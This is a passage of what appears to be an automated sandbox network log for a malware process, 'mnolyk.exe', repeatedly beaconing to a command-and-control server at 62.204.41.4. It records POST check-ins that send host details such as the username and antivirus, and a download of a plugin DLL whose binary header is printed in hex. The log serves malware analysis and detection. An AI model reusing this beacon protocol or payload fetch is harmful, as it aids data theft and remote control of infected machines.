Feb 7, 2023 23:07:53.090089083 CET	313	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.7	49894	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:53.270340919 CET	314	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:53.332096100 CET	314	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49696	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:01.356877089 CET	10	OUT	GET /Gol478Ns/Plugins/clip64.dll HTTP/1.1 Host: 62.204.41.4
Feb 7, 2023 23:07:01.419603109 CET	12	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:01 GMT Content-Type: application/octet-stream Content-Length: 91136 Last-Modified: Fri, 03 Feb 2023 17:19:21 GMT Connection: keep-alive ETag: "63dd4219-16400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 18 8f 2c 43 79 e1 7f 43 79 e1 7f 43 79 e1 7f 18 11 e2 7e 49 79 e1 7f 18 11 e4 7e cb 79 e1 7f 18 11 e5 7e 51 79 e1 7f 96 14 e5 7e 4c 79 e1 7f 96 14 e2 7e 52 79 e1 7f 96 14 e4 7e 62 79 e1 7f 18 11 e0 7e 46 79 e1 7f 43 79 e0 7f 19 79 e1 7f d8 17 e8 7e 40 79 e1 7f d8 17 e1 7e 42 79 e1 7f d8 17 1e 7f 42 79 e1 7f d8 17 e3 7e 42 79 e1 7f 52 69 63 68 43 79 e1 7f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d4 38 dd 63 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 de 00 00 00 8c 00 00 00 00 00 00 00 3e 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 4a 01 00 9c 00 00 00 3c 4b 01 00 3c 00 00 00 00 80 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 54 10 00 00 20 3f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 61 00 00 00 f0 00 00 00 62 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 14 00 00 00 60 01 00 00 0c 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 80 01 00 00 02 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 54 10 00 00 00 90 01 00 00 12 00 00 00 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$,CyCyCy~Iy~y~Qy~Ly~Ry~by~FyCyy~@y~ByBy~ByRichCyPEL8c!>@J<K<T ?p?@,.textV `.rdataab@@.dataD`D@.rsrcP@@.relocTR@B
Feb 7, 2023 23:07:01.419640064 CET	13	IN	Data Raw: 00 00 00 00 6a 20 68 a8 3c 01 10 b9 70 68 01 10 e8 3f 23 00 00 68 00 ea 00 10 e8 8c 2a 00 00 59 c3 cc cc cc 6a 38 68 cc 3c 01 10 b9 88 68 01 10 e8 1f 23 00 00 68 60 ea 00 10 e8 6c 2a 00 00 59 c3 cc cc cc 6a 38 68 cc 3c 01 10 b9 a0 68 01 10 e8 ff Data Ascii: j h<ph?#hYj8h<h#h`lYj8h<h"hLYj8h<h"h ,Yj8h=h"h*Yj0hD=h"h)Yj0hx=i"h@)Yhh=i
Feb 7, 2023 23:07:01.419676065 CET	15	IN	Data Raw: 7d f0 10 8d 45 dc 0f 43 45 dc 0f be 04 18 8b 04 81 83 f8 ff 74 27 c1 e6 06 03 f0 83 c7 06 78 18 8b cf 8b c6 d3 f8 8b 4d f4 50 e8 1f 1b 00 00 8b 55 ec 83 ef 08 8b 4d f8 43 3b da 72 c2 8b 45 f8 85 c0 74 0e 68 00 04 00 00 50 e8 f0 21 00 00 83 c4 08 Data Ascii: }ECEt'xMPUMC;rEthP!Ur(MBrI#+wVRQ!UEEEr(MBrI#+wRQ~!E_^[]GU4E0SVW3E
Feb 7, 2023 23:07:01.419709921 CET	16	IN	Data Raw: 23 52 51 e8 31 1d 00 00 83 c4 08 33 f6 e9 74 ff ff ff 52 51 e8 20 1d 00 00 83 c4 08 5f 8b c6 5e 8b e5 5d c3 e8 3f 43 00 00 e8 4a 1a 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 18 8b 55 1c 8b 4d 08 56 85 c0 0f 84 82 00 00 00 53 40 57 50 Data Ascii: #RQ13tRQ _^]?CJUQEUMVS@WP] M}CM+IDuNFu+FVjVSWP5WjWj UM_[^r%BrI#+wRQ
Feb 7, 2023 23:07:01.419744015 CET	17	IN	Data Raw: 10 72 2d 8b 4c 24 40 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 f8 10 00 00 52 51 e8 06 18 00 00 83 c4 08 8b 0d e4 68 01 10 83 f9 10 72 2e a1 d0 68 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 Data Ascii: r-L$@BrI#+RQhr.hArP#+QPD$`hhL$Dh~D$tfhQT$DL$dT$Xr-L$@BrI#+PRQ^hr.hArP
Feb 7, 2023 23:07:01.419779062 CET	19	IN	Data Raw: 00 00 8a 41 02 3a 42 02 75 0f 83 7c 24 1c ff 74 7b 8a 41 03 3a 42 03 74 73 83 ff 25 73 6e 83 ce 02 c7 44 24 50 00 00 00 00 b9 01 00 00 00 89 74 24 18 3b f9 c7 44 24 54 0f 00 00 00 8d 44 24 20 c6 44 24 40 00 0f 42 cf 83 7c 24 34 10 51 0f 43 44 24 Data Ascii: A:Bu\|$t{A:Bts%snD$Pt$;D$TD$ D$@B\|$4QCD$$L$DPT$TD$@L$@C\|$Pu81u\|$0D$\|$0L$@T$TD$D$t9D$r-BrI#+LRQZD$ T$tD$r-L$`B
Feb 7, 2023 23:07:01.419814110 CET	20	IN	Data Raw: 6c 8b c7 83 e8 04 89 44 24 1c 72 19 8b 01 3b 02 75 1c 8b 44 24 1c 83 c1 04 83 c2 04 83 e8 04 89 44 24 1c 73 e7 83 f8 fc 0f 84 bd 00 00 00 8a 01 3a 02 75 39 83 7c 24 1c fd 0f 84 ac 00 00 00 8a 41 01 3a 42 01 75 26 83 7c 24 1c fe 0f 84 99 00 00 00 Data Ascii: lD$r;uD$D$s:u9\|$A:Bu&\|$A:Bu\|$A:Bt~GwvD$Pt$;D$TD$ D$@B\|$4QCD$$L$DPT$TD$@L$@C\|$Pu0xf90u\|$0D$\|$0L$@T$T
Feb 7, 2023 23:07:01.419850111 CET	21	IN	Data Raw: fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 f1 01 00 00 52 51 e8 ff 08 00 00 83 c4 08 80 7c 24 17 00 74 17 83 ec 18 8b cc 68 00 69 01 10 e8 35 04 00 00 e8 e0 eb ff ff 83 c4 18 8b 74 24 18 83 ec 18 8b cc 81 ce 00 10 00 00 Data Ascii: rI#+RQ\|$thi5t$t$0hiL$xWxr\|$4L$ CL$ ;xudD$r;uD$D$s:u1\|$A:Bu\|$tzA:Bu\|$tkA:Btc_u^
Feb 7, 2023 23:07:01.419883013 CET	23	IN	Data Raw: 0e 50 57 51 e8 41 1d 00 00 8b 45 08 83 c4 0c 89 46 10 8b c6 89 5e 14 5f 5e 5b 5d c2 04 00 e8 97 de ff ff e8 22 2a 00 00 cc cc 55 8b ec 51 53 56 8b f1 57 8b 7d 0c 8b 4e 14 89 4d fc 3b f9 77 28 8b de 83 f9 10 72 02 8b 1e 57 ff 75 08 89 7e 10 53 e8 Data Ascii: PWQAEF^_^[]"*UQSVW}NM;w(rWu~S";_^[]v+;v;BC=r%H#;QtwA#HtPm3WuEP~^
Feb 7, 2023 23:07:01.419918060 CET	24	IN	Data Raw: 00 50 e8 bc 2e 00 00 59 85 c0 74 03 32 c0 c3 e8 a2 30 00 00 b0 01 c3 6a 00 e8 d0 00 00 00 84 c0 59 0f 95 c0 c3 e8 cc 0c 00 00 84 c0 75 03 32 c0 c3 e8 0c 35 00 00 84 c0 75 07 e8 c2 0c 00 00 eb ed b0 01 c3 e8 04 35 00 00 e8 b3 0c 00 00 b0 01 c3 55 Data Ascii: P.Yt20jYu25u5Uu}uuMPu,Uuu'YY]cth,j3Y!+*j4YnU}u(jOu2]T4uj%Y]U=
Feb 7, 2023 23:07:01.482530117 CET	26	IN	Data Raw: 00 00 00 53 57 ff 75 08 e8 b1 f8 ff ff 8b f0 89 75 e4 83 ff 01 75 22 85 f6 75 1e 53 50 ff 75 08 e8 99 f8 ff ff 53 56 ff 75 08 e8 64 fd ff ff 53 56 ff 75 08 e8 6a 00 00 00 85 ff 74 05 83 ff 03 75 48 53 57 ff 75 08 e8 47 fd ff ff 8b f0 89 75 e4 85 Data Ascii: SWuuu"uSPuSVudSVujtuHSWuGut5SWuD$MQ0h:uuue3uEMdY_^[UV5u3@uuu,^]U}uuuu]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	49714	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:06.440543890 CET	124	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:06.505444050 CET	124	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.7	49895	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:53.534084082 CET	315	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:53.597876072 CET	315	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.7	49896	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:53.775433064 CET	316	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:53.839123011 CET	316	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.7	49897	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:54.022407055 CET	317	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:54.087541103 CET	317	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.7	49898	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:54.273097038 CET	318	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:54.336081028 CET	318	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.7	49899	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:54.525688887 CET	319	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:54.588591099 CET	319	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.7	49900	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:54.774755001 CET	320	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:54.838352919 CET	320	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.7	49901	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:55.355595112 CET	321	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:55.425688982 CET	321	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.7	49902	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:55.670942068 CET	322	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:55.736519098 CET	322	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.7	49903	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:56.006891012 CET	323	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:56.071557999 CET	323	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.7	49904	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:57.181548119 CET	324	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:57.245490074 CET	324	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	49715	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:06.670721054 CET	125	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:06.733525038 CET	125	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
